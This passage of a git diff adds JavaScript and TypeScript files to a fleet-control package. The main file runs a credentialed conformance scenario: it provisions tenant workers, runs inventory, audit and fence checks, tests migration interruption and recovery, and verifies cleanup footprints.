+    return { slots: [`decommission-${role}`], roles: [role] };
+  if (kind === 'force-terminal') return { slots: [], roles: [role] };
+  if (kind === 'force-recovery' || kind === 'recover-force-residual')
+    return { slots: [], roles: ['recovery'] };
+  return { slots: [], roles: [] };
+}
+
+export function recordFacts(record) {
+  return {
+    role: record.role,
+    present: record.present,
+    phase: record.phase ?? null,
+    desiredSpecDigest: record.desiredSpecDigest ?? null,
+    pendingSpecDigest: record.pendingSpecDigest ?? null,
+    artifactVersion: record.artifactVersion ?? null,
+    pendingArtifactVersion: record.pendingArtifactVersion ?? null,
+    databaseId: record.databaseId ?? null,
+  };
+}
+
+export function operationFacts(operation) {
+  return {
+    slot: operation.slot,
+    operationId: operation.operationId,
+    inputSha256: hash(operation.inputJson),
+    tokenRevision: operation.tokenRevision,
+  };
+}
+
+export function expectedVersion(record, release, candidate = false) {
+  requireFact(record?.present);
+  return {
+    role: record.role,
+    versionId: candidate
+      ? record.pendingArtifactVersion
+      : record.artifactVersion,
+    databaseId: record.databaseId,
+    specDigest: candidate ? record.pendingSpecDigest : record.desiredSpecDigest,
+    applicationRelease: release,
+  };
+}
+
+export function checkItemConvergence(items) {
+  requireFact(Array.isArray(items) && items.length >= 2);
+  if (items[1].status !== 'pending') equal(items[0].status, 'complete');
+}
+
+export function checkTrafficDistribution(candidate, previous) {
+  equal(candidate.trafficPercentage, 0);
+  equal(candidate.currentDeployment.activeVersionId, previous.versionId);
+  const weights = new Map([
+    [previous.versionId, 100],
+    [candidate.versionId, 0],
+  ]);
+  // The staged deployment carries the previous version and the candidate, so
+  // the count is two and does not follow the map the comparison below builds.
+  equal(candidate.currentDeployment.versions.length, 2);
+  equal(
+    new Map(
+      candidate.currentDeployment.versions.map((entry) => [
+        entry.versionId,
+        entry.percentage,
+      ]),
+    ),
+    weights,
+  );
+}
+
+export function migrationStartSettled(control, mutation) {
+  const started = control.operations.find(
+    (entry) => entry.slot === 'migration-next',
+  );
+  if (!started) return false;
+  requireFact(
+    started.operationId &&
+      mutation?.outcome === 'returned' &&
+      mutation.action.kind === 'migration-start',
+    'proof-unavailable',
+  );
+  return true;
+}
+
+export function migrationInterruptSettled(control, mutation) {
+  if (!control.interruption) return false;
+  requireFact(
+    mutation?.outcome === 'injected-response-loss' &&
+      mutation.action.kind === 'migration-continue',
+    'proof-unavailable',
+  );
+  return true;
+}
+
+export function checkInterruptionWitness(interruption, expected) {
+  const value = parse(interruption);
+  equal(value.version, 1);
+  equal(value.boundary, 'after-migration-admission');
+  equal(value.slot, 'migration-next');
+  equal(value.operationId, expected.operationId);
+  const claim = parse(value.claimJson);
+  const successor = parse(value.returnedTokenJson);
+  equal(claim.operationId, value.operationId);
+  equal(successor.operationId, value.operationId);
+  requireFact(successor.revision > claim.revision);
+  equal(value.item.ordinal, 0);
+  equal(value.item.beforeStatus, 'pending');
+  equal(value.item.afterStatus, 'active');
+  equal(value.item.planCursor, 0);
+  equal(value.item.tenantTag, expected.tenantTag);
+  equal(value.item.environment, expected.environment);
+  return { value, claim, successor };
+}
+
+export function checkInterruptedItems(witness, items) {
+  equal(items[0].status, 'active');
+  equal(items[0].planCursor, 0);
+  equal(items[0].entryRecordDigest, witness.item.entryRecordDigest);
+  equal(items[0].targetSpecDigest, witness.item.targetSpecDigest);
+  equal(items[1].status, 'pending');
+}
+
+export function checkFootprint(observation, expected) {
+  const resource = expected.resource;
+  const retained = expected.retained;
+  equal(observation.version, 1);
+  equal(observation.role, 'recovery');
+  equal(observation.fleetRecordPresent, false);
+  equal(observation.deploymentClaimsPresent, false);
+  equal(observation.database, {
+    id: resource.databaseId,
+    expectedName: expected.databaseName,
+    observedName: null,
+  });
+  const worker = observation.worker;
+  equal(worker.scriptName, resource.scriptName);
+  equal(worker.scriptPresent, retained);
+  requireFact(
+    worker.workersDevEnabled === false ||
+      (!retained && worker.workersDevEnabled === null),
+  );
+  requireFact(
+    worker.previewUrlsEnabled === false ||
+      (!retained && worker.previewUrlsEnabled === null),
+  );
+  for (const key of ['customDomains', 'zoneRoutes', 'currentSecretNames'])
+    equal(worker[key], []);
+  const namespaces = resource.namespaces
+    .map((entry) => entry.namespaceId)
+    .sort();
+  equal(worker.currentNamespaceIds, retained ? namespaces : []);
+  equal(worker.survivingRecordedNamespaceIds, retained ? namespaces : []);
+  if (retained)
+    requireFact(
+      worker.currentVersionIds.includes(resource.versionId) &&
+        worker.currentVersionIds.length <= expected.versionIdMaximum,
+    );
+  else
+    requireFact(
+      worker.currentVersionIds === null ||
+        worker.currentVersionIds.length === 0,
+    );
+  equal(observation.buckets, [
+    {
+      bindingName: 'PROBE_BUCKET',
+      bucketName: resource.bucket.name,
+      jurisdiction: 'default',
+      expectedCreationDate: resource.bucket.creationDate,
+      observedCreationDate: retained ? resource.bucket.creationDate : null,
+    },
+  ]);
+  equal(observation.priorCleanup.operationId, expected.cleanup.operationId);
+  equal(observation.priorCleanup.matchesBefore, true);
+  equal(
+    observation.priorCleanup.observedReceiptSha256,
+    directCleanupReceiptDigest(expected.cleanup),
+  );
+  if (!retained) {
+    equal(
+      observation.beforeIdentitySha256,
+      expected.force.beforeIdentitySha256,
+    );
+    equal(observation.priorCleanup, expected.force.priorCleanup);
+  }
+  return observation;
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts
new file mode 100644
index 00000000..c305aad9
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts
@@ -0,0 +1,256 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { FleetAuditResultRef } from '../src/fleet-audit-advance.js';
+import type { CleanupTerminalReceipt } from '../src/types.js';
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectInvocationAttempts,
+  DirectInvocationClient,
+} from './direct-credentialed-invocation.mjs';
+import type {
+  DirectSettlementEffect,
+  DirectVerifiedExport,
+  DirectWorkerVersionObservation,
+} from './direct-credentialed-observations.mjs';
+import type {
+  DIRECT_SCENARIO_FAILURE_DETAILS,
+  DIRECT_SCENARIO_FAILURES,
+  DirectRunActionSummary,
+  DirectRunJournal,
+} from './direct-credentialed-run-state.mjs';
+import type {
+  DirectScenarioFootprint,
+  DirectScenarioNormalRole,
+  DirectScenarioOperationFacts,
+  DirectScenarioPhase,
+  DirectScenarioRecordFacts,
+} from './direct-credentialed-scenario-checks.mjs';
+import type { DirectFixtureRole } from './direct-credentialed-spec.js';
+
+type Role = DirectFixtureRole;
+type NormalRole = DirectScenarioNormalRole;
+
+export type { DirectScenarioOperationSlot } from './direct-credentialed-scenario-checks.mjs';
+export type { DirectScenarioPhase };
+export type DirectScenarioFailure = (typeof DIRECT_SCENARIO_FAILURES)[number];
+export type DirectScenarioFailureDetail =
+  (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number];
+interface ScenarioCall {
+  readonly ordinal: number;
+  readonly action: DirectRunActionSummary;
+  readonly outcome:
+    | 'prepared'
+    | 'returned'
+    | 'injected-response-loss'
+    | 'reference-refused';
+  readonly attempts: DirectInvocationAttempts | null;
+  readonly migration: Readonly<{
+    itemOrdinal: 0 | 1;
+    cursor: number;
+    step: string;
+    itemsSha256: string;
+  }> | null;
+  /**
+   * Settled force-terminal calls require a nullable before identity; prepared
+   * and other calls omit it. Declared last, as `callShape` persists it.
+   */
+  readonly before?: Readonly<{ databaseId: string; scriptName: string }> | null;
+}
+interface ScenarioProcess {
+  readonly pid: number;
+  readonly startTicks: string;
+  readonly bootId: string;
+}
+interface ScenarioInventory {
+  readonly operationId: string;
+  readonly generation: number;
+  readonly calls: number;
+  readonly databaseIds: readonly string[];
+  readonly namespaceIds: readonly string[];
+  readonly scriptNames: readonly string[];
+  readonly routeHostnames: readonly string[];
+  readonly bucketNames: readonly string[];
+  readonly findings: readonly Readonly<{
+    kind: string;
+    detailSha256: string;
+  }>[];
+}
+type ScenarioAudit = FleetAuditResultRef &
+  Readonly<{
+    recordCount: 2;
+    findings: readonly Readonly<{
+      tenantTag: string;
+      environment: string;
+      kind: string;
+      detailSha256: string;
+    }>[];
+  }>;
+interface ScenarioFenceReading {
+  readonly state: 'open' | 'draining' | 'migration-locked' | 'proof-only';
+  readonly mutationEpoch: number;
+  readonly requireMutationEpoch: boolean;
+  readonly transitionRevision: number;
+}
+interface ScenarioFenceTransition {
+  readonly before: ScenarioFenceReading;
+  readonly after: ScenarioFenceReading | null;
+  readonly ordinal: number | null;
+}
+interface ScenarioFenceSweep {
+  readonly fence: ScenarioFenceReading;
+  readonly categories: readonly Readonly<{
+    category: string;
+    class: 'work' | 'standing';
+    empty: boolean;
+  }>[];
+  readonly observedAt: number;
+  readonly ordinal: number;
+}
+export interface DirectScenarioFenceProofs {
+  readonly drain: Readonly<Record<NormalRole, ScenarioFenceTransition | null>>;
+  readonly sweeps: Readonly<
+    Record<
+      NormalRole,
+      Readonly<{
+        first: ScenarioFenceSweep;
+        second: ScenarioFenceSweep | null;
+        intervalMs: number | null;
+      }> | null
+    >
+  >;
+  readonly reopen: Readonly<Record<NormalRole, ScenarioFenceTransition | null>>;
+  readonly probes: Readonly<
+    Record<
+      NormalRole,
+      Readonly<{
+        current: 'accepted';
+        missing: 'missing';
+        stale: 'stale';
+        future: 'future';
+        mutationEpoch: number;
+        ordinal: number;
+      }> | null
+    >
+  >;
+}
+export interface DirectScenarioProofs {
+  readonly initial: Readonly<
+    Record<Role, DirectWorkerVersionObservation | null>
+  >;
+  readonly candidate: Readonly<
+    Record<NormalRole, DirectWorkerVersionObservation | null>
+  >;
+  readonly final: Readonly<
+    Record<NormalRole, DirectWorkerVersionObservation | null>
+  >;
+  readonly objects: Readonly<
+    Record<NormalRole, Readonly<{ size: number; sha256: string }> | null>
+  >;
+  readonly objectDeletions: Readonly<Record<NormalRole, number | null>>;
+  readonly recoveryExportAbsent: Readonly<{
+    beforeOrdinal: number | null;
+    afterOrdinal: number | null;
+  }>;
+  readonly health: readonly Readonly<{
+    role: Role;
+    release: '1' | '2';
+    marker: 'initial' | 'next';
+    ordinal: number;
+  }>[];
+  readonly inventories: Readonly<
+    Record<'before' | 'after', ScenarioInventory | null>
+  >;
+  readonly audits: Readonly<Record<'before' | 'after', ScenarioAudit | null>>;
+  readonly fence: DirectScenarioFenceProofs;
+  readonly restart: Readonly<{
+    process: ScenarioProcess;
+    resumedProcess: ScenarioProcess | null;
+    lossOrdinal: number;
+    operationId: string;
+    witnessSha256: string;
+    claimSha256: string;
+    successorSha256: string;
+    itemsSha256: string;
+    replayOrdinal: number | null;
+  }> | null;
+  readonly steps: readonly Readonly<
+    DirectInvocationAttempts & {
+      ordinal: number;
+      itemOrdinal: 0 | 1;
+      step: string;
+      beforeCursor: number;
+      afterCursor: number;
+    }
+  >[];
+  readonly effects: readonly DirectSettlementEffect[];
+  readonly cleanup: CleanupTerminalReceipt | null;
+  readonly exports: Readonly<Record<NormalRole, DirectVerifiedExport | null>>;
+  readonly exportVerifications: readonly DirectVerifiedExport[];
+  readonly decommission: Readonly<
+    Record<
+      NormalRole,
+      Readonly<{
+        operationId: string;
+        databaseId: string;
+        scriptName: string;
+        phase: 'decommissioned';
+      }> | null
+    >
+  >;
+  readonly terminalForce: Readonly<{
+    a: Readonly<{
+      databaseId: string;
+      scriptName: string;
+      ordinal: number;
+      attempts: DirectInvocationAttempts;
+    }> | null;
+  }>;
+  readonly force: DirectScenarioFootprint | null;
+  readonly residual: DirectScenarioFootprint | null;
+}
+export interface DirectScenarioState {
+  readonly version: 1;
+  readonly phase: DirectScenarioPhase;
+  readonly startedOrdinal: number;
+  readonly callCount: number;
+  readonly phaseCalls: Readonly<Record<DirectScenarioPhase, number>>;
+  readonly attempts: DirectInvocationAttempts;
+  readonly sdkRequests: number;
+  readonly inventoryCalls: Readonly<{ before: number; after: number }>;
+  readonly lastCall: ScenarioCall | null;
+  readonly mutation: ScenarioCall | null;
+  readonly reconciledOrdinal: number;
+  readonly operations: readonly DirectScenarioOperationFacts[];
+  readonly records: readonly DirectScenarioRecordFacts[];
+  readonly failure: Readonly<{
+    code: DirectScenarioFailure;
+    ordinal: number;
+    detail?: DirectScenarioFailureDetail;
+  }> | null;
+  readonly proofs: DirectScenarioProofs;
+}
+export type DirectScenarioOutcome =
+  | Readonly<{ status: 'restart-required' }>
+  | Readonly<{
+      status: 'complete';
+      facts: DirectScenarioProofs;
+      invocationCount: number;
+      attempts: DirectInvocationAttempts;
+      sdkRequests: number;
+    }>
+  | Readonly<{
+      status: 'failed';
+      reason: DirectScenarioFailure;
+      detail?: DirectScenarioFailureDetail;
+      phase: DirectScenarioPhase | null;
+      invocationCount: number;
+    }>;
+export function runDirectCredentialedScenario(
+  input: Readonly<{
+    prepared: PreparedDirectConformance;
+    journal: DirectRunJournal;
+    invocation: DirectInvocationClient;
+    apiToken: string;
+    fetch?: typeof fetch;
+  }>,
+): Promise<DirectScenarioOutcome>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs
new file mode 100644
index 00000000..2077bb7f
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs
@@ -0,0 +1,1246 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readFile } from 'node:fs/promises';
+import { isDeepStrictEqual } from 'node:util';
+import { DirectInvocationError } from './direct-credentialed-invocation.mjs';
+import {
+  observeDirectWorkerVersion,
+  readDirectSettlementEffects,
+  verifyDirectDecommissionExport,
+} from './direct-credentialed-observations.mjs';
+import {
+  actionSummary,
+  DIRECT_SCENARIO_ARRAY_MAXIMA,
+  DIRECT_SCENARIO_FAILURE_DETAILS,
+  DIRECT_SCENARIO_FAILURES,
+  DirectRunStateError,
+  isForceIdentity,
+  mutationPending,
+} from './direct-credentialed-run-state.mjs';
+import {
+  DIRECT_SCENARIO_MIN_INVOCATIONS,
+  DIRECT_SCENARIO_PHASES,
+} from './direct-credentialed-scenario-budget.mjs';
+import {
+  changedBy,
+  checkFootprint,
+  checkInterruptedItems,
+  checkInterruptionWitness,
+  checkInvocationHeadroom,
+  checkItemConvergence,
+  checkTrafficDistribution,
+  equal,
+  expectedVersion,
+  hash,
+  jsonHash,
+  migrationInterruptSettled,
+  migrationStartSettled,
+  NORMAL_ROLES,
+  operationFacts,
+  parse,
+  recordFacts,
+  requireFact,
+  SCENARIO_ROLES,
+  zeroAttempts,
+} from './direct-credentialed-scenario-checks.mjs';
+import { DIRECT_TENANT_OBJECT_BODY } from './direct-credentialed-tenant-object.mjs';
+
+const busy = new WeakSet();
+const objectDigest = hash(DIRECT_TENANT_OBJECT_BODY);
+const objectSize = Buffer.byteLength(DIRECT_TENANT_OBJECT_BODY);
+const failureCodes = new Set(DIRECT_SCENARIO_FAILURES);
+const failureDetails = new Set(DIRECT_SCENARIO_FAILURE_DETAILS);
+
+async function processIdentity() {
+  const stat = await readFile('/proc/self/stat', 'utf8');
+  return {
+    pid: process.pid,
+    startTicks: stat.slice(stat.lastIndexOf(')') + 2).split(' ')[19],
+    bootId: (await readFile('/proc/sys/kernel/random/boot_id', 'utf8')).trim(),
+  };
+}
+function initialState(ordinal) {
+  return {
+    version: 1,
+    phase: 'provision-a',
+    startedOrdinal: ordinal,
+    callCount: 0,
+    phaseCalls: Object.fromEntries(
+      DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]),
+    ),
+    attempts: zeroAttempts(),
+    sdkRequests: 0,
+    inventoryCalls: { before: 0, after: 0 },
+    lastCall: null,
+    mutation: null,
+    reconciledOrdinal: ordinal,
+    operations: [],
+    records: [],
+    failure: null,
+    proofs: {
+      initial: { a: null, b: null, recovery: null },
+      candidate: { a: null, b: null },
+      final: { a: null, b: null },
+      objects: { a: null, b: null },
+      objectDeletions: { a: null, b: null },
+      recoveryExportAbsent: { beforeOrdinal: null, afterOrdinal: null },
+      health: [],
+      inventories: { before: null, after: null },
+      audits: { before: null, after: null },
+      fence: {
+        drain: { a: null, b: null },
+        sweeps: { a: null, b: null },
+        reopen: { a: null, b: null },
+        probes: { a: null, b: null },
+      },
+      restart: null,
+      steps: [],
+      effects: [],
+      cleanup: null,
+      exports: { a: null, b: null },
+      exportVerifications: [],
+      decommission: { a: null, b: null },
+      terminalForce: { a: null },
+      force: null,
+      residual: null,
+    },
+  };
+}
+export async function runDirectCredentialedScenario(input) {
+  const { prepared, journal, invocation, apiToken } = input;
+  let state;
+  let control;
+  let acquired = false;
+  const persist = async () => {
+    await journal.recordScenario(state);
+    state = structuredClone(journal.snapshot().scenario);
+  };
+  const advancePhase = async () => {
+    await sync();
+    state.phase =
+      DIRECT_SCENARIO_PHASES[DIRECT_SCENARIO_PHASES.indexOf(state.phase) + 1];
+    state.mutation = null;
+    await persist();
+  };
+  const invoke = async (action, mutates = false, migration = null) => {
+    const snapshot = journal.snapshot();
+    requireFact(!mutationPending(snapshot), 'outcome-unknown');
+    const remaining =
+      snapshot.binding.maxInvocations - snapshot.invocationCount;
+    checkInvocationHeadroom(state.phase, state.phaseCalls, remaining);
+    const call = {
+      ordinal: snapshot.invocationCount + 1,
+      action: actionSummary(action),
+      outcome: 'prepared',
+      attempts: null,
+      migration,
+    };
+    state.lastCall = call;
+    if (mutates) state.mutation = call;
+    await persist();
+    let response;
+    let error;
+    try {
+      response = await invocation.invoke(action);
+    } catch (caught) {
+      error = caught;
+    }
+    const detail =
+      error instanceof DirectInvocationError && failureDetails.has(error.detail)
+        ? error.detail
+        : undefined;
+    const after = journal.snapshot();
+    requireFact(
+      after.invocationCount === call.ordinal &&
+        after.lastInvocation?.state === 'settled',
+      'outcome-unknown',
+      detail,
+    );
+    if (error)
+      requireFact(
+        error instanceof DirectInvocationError &&
+          error.attempts &&
+          ['injected-response-loss', 'reference-refused'].includes(error.code),
+        'outcome-unknown',
+        detail ?? 'non-contract-answer',
+      );
+    const attempts = error ? error.attempts : response.attempts;
+    const settled = {
+      ...call,
+      outcome: error ? error.code : 'returned',
+      attempts,
+    };
+    if (action.kind === 'force-terminal') {
+      const before = error ? null : response.result?.before;
+      requireFact(isForceIdentity(before), 'observation-mismatch');
+      settled.before = before;
+    }
+    state.lastCall = settled;
+    if (mutates) state.mutation = settled;
+    state.callCount++;
+    state.phaseCalls[state.phase]++;
+    for (const key of Object.keys(attempts))
+      state.attempts[key] += attempts[key];
+    if (
+      action.kind === 'inventory-start' ||
+      action.kind === 'inventory-continue'
+    )
+      state.inventoryCalls[
+        action.slot === 'inventory-before' ? 'before' : 'after'
+      ]++;
+    await persist();
+    if (error) throw error;
+    return response.result;
+  };
+  const sync = async () => {
+    const fresh = await invoke({ kind: 'control-read' });
+    const snapshot = journal.snapshot();
+    const bootstrap = snapshot.bootstrap;
+    equal(fresh.binding, {
+      version: 1,
+      accountId: snapshot.binding.accountId,
+      fleetDatabaseId: bootstrap.fleet.uuid,
+      quotaDatabaseId: bootstrap.quota.uuid,
+      exportBucketName: bootstrap.exports.name,
+      referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+      accountWorkersDevSubdomain: bootstrap.context.accountWorkersDevSubdomain,
+    });
+    requireFact(
+      Array.isArray(fresh.operations) && Array.isArray(fresh.records),
+    );
+    const allowed = changedBy(
+      state.mutation?.outcome === 'prepared' ||
+        (state.mutation?.ordinal ?? 0) <= state.reconciledOrdinal
+        ? null
+        : state.mutation?.action,
+    );
+    const operations = fresh.operations.map(operationFacts);
+    requireFact(
+      new Set(operations.map((entry) => entry.slot)).size === operations.length,
+    );
+    for (const known of state.operations) {
+      const remote = operations.find((entry) => entry.slot === known.slot);
+      requireFact(remote);
+      equal(remote.inputSha256, known.inputSha256);
+      if (known.operationId !== null)
+        equal(remote.operationId, known.operationId);
+      if (!allowed.slots.includes(known.slot)) equal(remote, known);
+      else
+        requireFact((remote.tokenRevision ?? 0) >= (known.tokenRevision ?? 0));
+    }
+    for (const remote of operations)
+      requireFact(
+        state.operations.some((known) => known.slot === remote.slot) ||
+          allowed.slots.includes(remote.slot),
+      );
+    const records = fresh.records.map(recordFacts);
+    equal(
+      records.map((record) => record.role),
+      [...SCENARIO_ROLES],
+    );
+    for (const remote of records) {
+      const known = state.records.find((record) => record.role === remote.role);
+      if (!known)
+        requireFact(!remote.present || allowed.roles.includes(remote.role));
+      else if (!allowed.roles.includes(remote.role)) equal(remote, known);
+    }
+    if (!state.proofs.restart && state.phase !== 'migration-interrupt')
+      equal(fresh.interruption, null);
+    if (
+      DIRECT_SCENARIO_PHASES.indexOf(state.phase) <
+      DIRECT_SCENARIO_PHASES.indexOf('force-recovery')
+    ) {
+      requireFact(!fresh.forceBefore && !fresh.forceAfter);
+    }
+    state.operations = operations;
+    state.records = records;
+    if (state.proofs.restart)
+      equal(hash(fresh.interruption), state.proofs.restart.witnessSha256);
+    if (state.proofs.force)
+      equal(parse(fresh.forceAfter.identityJson), state.proofs.force);
+    state.reconciledOrdinal = journal.snapshot().invocationCount;
+    await persist();
+    control = fresh;
+    return fresh;
+  };
+  const mutate = async (action, migration = null) => {
+    await sync();
+    return invoke(action, true, migration);
+  };
+  const fenceTransition = async (role, operation) => {
+    const before = state.proofs.fence[operation][role].before;
+    const result = await mutate({
+      kind: 'tenant-fence',
+      role,
+      operation,
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+    });
+    const next = operation === 'drain' ? 'draining' : 'open';
+    const epoch = before.mutationEpoch + (operation === 'drain' ? 1 : 0);
+    let after;
+    if (result.ok === true) {
+      after = result.after;
+      requireFact(after.transitionRevision === before.transitionRevision + 1);
+    } else {
+      requireFact(
+        result.ok === false && result.reason?.code === 'FENCE_CAS_CONFLICT',
+      );
+      const reason = result.reason;
+      after = {
+        state: reason.state,
+        mutationEpoch: reason.mutationEpoch,
+        requireMutationEpoch: reason.requireMutationEpoch,
+        transitionRevision: reason.transitionRevision,
+      };
+    }
+    requireFact(
+      after.state === next &&
+        after.mutationEpoch === epoch &&
+        after.requireMutationEpoch === true,
+    );
+    state.proofs.fence[operation][role].after = after;
+    state.proofs.fence[operation][role].ordinal = state.mutation.ordinal;
+    await persist();
+  };
+  const fenceStage = async (role, operation) => {
+    if (state.proofs.fence[operation][role] === null) {
+      const before = await invoke({
+        kind: 'tenant-fence',
+        role,
+        operation: 'read',
+      });
+      state.proofs.fence[operation][role] = {
+        before,
+        after: null,
+        ordinal: null,
+      };
+      await persist();
+    }
+    if (state.proofs.fence[operation][role].after === null)
+      await fenceTransition(role, operation);
+  };
+  const fenceSweep = async (role) => {
+    const result = await invoke({
+      kind: 'tenant-fence',
+      role,
+      operation: 'inventory',
+    });
+    requireFact(
+      result.fence.state === 'draining' &&
+        result.categories.every(
+          (category) => category.class !== 'work' || category.empty,
+        ),
+    );
+    return { ...result, ordinal: state.lastCall.ordinal };
+  };
+  const record = (role) => control.records.find((entry) => entry.role === role);
+  const slot = (name) =>
+    control.operations.find((entry) => entry.slot === name);
+  const observer = {
+    prepared,
+    journal,
+    apiToken,
+    fetch: async (request, init) => {
+      state.sdkRequests++;
+      await persist();
+      return (input.fetch ?? globalThis.fetch)(request, init);
+    },
+  };
+  const observe = (role, release, candidate = false) =>
+    observeDirectWorkerVersion({
+      ...observer,
+      ...expectedVersion(record(role), release, candidate),
+    });
+  const health = async (role, release, marker) => {
+    if (
+      state.proofs.health.some(
+        (entry) => entry.role === role && entry.release === release,
+      )
+    )
+      return;
+    requireFact(
+      state.proofs.health.length < DIRECT_SCENARIO_ARRAY_MAXIMA.health,
+      'proof-unavailable',
+    );
+    const result = await invoke({
+      kind: 'tenant-probe',
+      role,
+      operation: 'health',
+    });
+    equal(result, { role, operation: 'health', release, marker });
+    state.proofs.health.push({
+      role,
+      release,
+      marker,
+      ordinal: journal.snapshot().invocationCount,
+    });
+    await persist();
+  };
+  const objectRead = async (role, present) => {
+    const result = await invoke({
+      kind: 'tenant-probe',
+      role,
+      operation: 'object-read',
+    });
+    equal(result, {
+      role,
+      operation: 'object-read',
+      present,
+      ...(present ? { size: objectSize, sha256: objectDigest } : {}),
+    });
+    return present ? { size: result.size, sha256: result.sha256 } : null;
+  };
+  const provision = async (role) => {
+    await sync();
+    if (!record(role).present) {
+      requireFact(
+        !slot(
+          role === 'recovery' ? 'cleanup-recovery-initial' : `cleanup-${role}`,
+        ),
+        'proof-unavailable',
+      );
+      const result = await mutate({
+        kind: 'provision',
+        role,
+        release: 'initial',
+      });
+      requireFact(result.status === 'ready');
+      await sync();
+    }
+    equal(record(role).phase, 'ready');
+    if (!state.proofs.initial[role]) {
+      const observation = await observe(role, '1');
+      equal(observation.trafficPercentage, 100);
+      requireFact(
+        observation.currentDeployment.versions.length <=
+          DIRECT_SCENARIO_ARRAY_MAXIMA.deploymentVersions,
+      );
+      state.proofs.initial[role] = observation;
+      await persist();
+    }
+    await health(role, '1', 'initial');
+    if (role !== 'recovery' && !state.proofs.objects[role]) {
+      const result = await mutate({
+        kind: 'tenant-probe',
+        role,
+        operation: 'object-put',
+      });
+      equal(result, { role, operation: 'object-put', returned: true });
+      const object = await objectRead(role, true);
+      state.proofs.objects[role] = object;
+      await persist();
+    }
+    if (role === 'recovery') await objectRead(role, false);
+    await advancePhase();
+  };
+  const inventory = async (when) => {
+    const name = `inventory-${when}`;
+    if (state.proofs.inventories[when]) {
+      const selected = await invoke({ kind: 'inventory-read', slot: name });
+      equal(selected.operationId, state.proofs.inventories[when].operationId);
+      equal(selected.generation, state.proofs.inventories[when].generation);
+      await advancePhase();
+      return;
+    }
+    let result = await mutate({ kind: 'inventory-start', slot: name });
+    while (result.status === 'pending')
+      result = await mutate({
+        kind: 'inventory-continue',
+        slot: name,
+        token: result.token,
+      });
+    requireFact(result.status === 'complete' && state.inventoryCalls[when] > 1);
+    const selected = await invoke({ kind: 'inventory-read', slot: name });
+    equal(selected.operationId, result.generation.operationId);
+    equal(selected.generation, result.generation.generation);
+    const observed = selected.inventory;
+    const routes = NORMAL_ROLES.map((role) =>
+      observed.routes.filter(
+        (route) =>
+          route.backend === 'plain-worker' &&
+          route.surface === 'custom-domain' &&
+          route.scriptName === prepared.names.roles[role].scriptName,
+      ),
+    );
+    const routeHostnames = routes
+      .flatMap((rows) => rows.map((row) => row.hostname))
+      .sort();
+    equal(routeHostnames.length, NORMAL_ROLES.length);
+    const proof = {
+      operationId: selected.operationId,
+      generation: selected.generation,
+      calls: state.inventoryCalls[when],
+      databaseIds: [...observed.databaseIds].sort(),
+      namespaceIds: [...observed.namespaceIds].sort(),
+      scriptNames: observed.deployments.map((entry) => entry.scriptName).sort(),
+      routeHostnames,
+      bucketNames: observed.r2Buckets.map((entry) => entry.bucketName).sort(),
+      findings: observed.findings.map((entry) => ({
+        kind: entry.kind,
+        detailSha256: hash(entry.detail),
+      })),
+    };
+    for (const [key, maximum] of Object.entries(
+      DIRECT_SCENARIO_ARRAY_MAXIMA.inventory,
+    ))
+      requireFact(proof[key].length <= maximum, 'proof-unavailable');
+    equal(
+      proof.databaseIds,
+      NORMAL_ROLES.map((role) => state.proofs.initial[role].databaseId).sort(),
+    );
+    equal(
+      proof.scriptNames,
+      NORMAL_ROLES.map((role) => prepared.names.roles[role].scriptName).sort(),
+    );
+    for (const [index, role] of NORMAL_ROLES.entries())
+      equal(
+        routes[index].map((row) => row.hostname),
+        [prepared.names.roles[role].routeHostname],
+      );
+    if (when === 'after') {
+      requireFact(
+        proof.generation > state.proofs.inventories.before.generation,
+      );
+      equal(
+        proof.routeHostnames,
+        state.proofs.inventories.before.routeHostnames,
+      );
+    }
+    state.proofs.inventories[when] = proof;
+    await persist();
+    await advancePhase();
+  };
+  const audit = async (when) => {
+    const name = `audit-${when}`;
+    let result = await mutate({ kind: 'audit-start', slot: name });
+    while (result.status === 'pending')
+      result = await mutate({
+        kind: 'audit-continue',
+        slot: name,
+        token: result.token,
+      });
+    requireFact(result.status === 'complete');
+    equal(result.result.generation, state.proofs.inventories[when].generation);
+    equal(result.result.recordCount, 2);
+    await sync();
+    const frozen = parse(slot(name).inputJson);
+    equal(
+      frozen.records.map((entry) => entry.tenantTag),
+      NORMAL_ROLES.map((role) => prepared.names.roles[role].tenantTag),
+    );
+    const findings = [];
+    let afterOrdinal;
+    for (;;) {
+      const page = await invoke({
+        kind: 'audit-page',
+        slot: name,
+        limit: 32,
+        ...(afterOrdinal === undefined ? {} : { afterOrdinal }),
+      });
+      findings.push(
+        ...page.findings.map((finding) => ({
+          tenantTag: finding.tenantTag,
+          environment: finding.environment,
+          kind: finding.kind,
+          detailSha256: hash(finding.detail),
+        })),
+      );
+      requireFact(
+        findings.length <= DIRECT_SCENARIO_ARRAY_MAXIMA.auditFindings,
+      );
+      if (page.done) break;
+      requireFact(
+        Number.isSafeInteger(page.nextAfterOrdinal) &&
+          page.nextAfterOrdinal > (afterOrdinal ?? -1),
+      );
+      afterOrdinal = page.nextAfterOrdinal;
+    }
+    equal(findings.length, result.result.findingCount);
+    state.proofs.audits[when] = { ...result.result, findings };
+    await persist();
+    requireFact(findings.length === 0);
+    await advancePhase();
+  };
+  const items = async () => {
+    const page = await invoke({ kind: 'migration-page', limit: 2 });
+    requireFact(page.done && page.items.length === 2);
+    page.items.forEach((item, index) => {
+      equal(item.ordinal, index);
+      equal(
+        item.tenantTag,
+        prepared.names.roles[NORMAL_ROLES[index]].tenantTag,
+      );
+      equal(item.environment, prepared.config.environment);
+      requireFact(item.status !== 'failed');
+    });
+    checkItemConvergence(page.items);
+    return page.items;
+  };
+  const interruption = async () => {
+    const witness = checkInterruptionWitness(control.interruption, {
+      operationId: slot('migration-next').operationId,
+      tenantTag: prepared.names.roles.a.tenantTag,
+      environment: prepared.config.environment,
+    });
+    const current = await items();
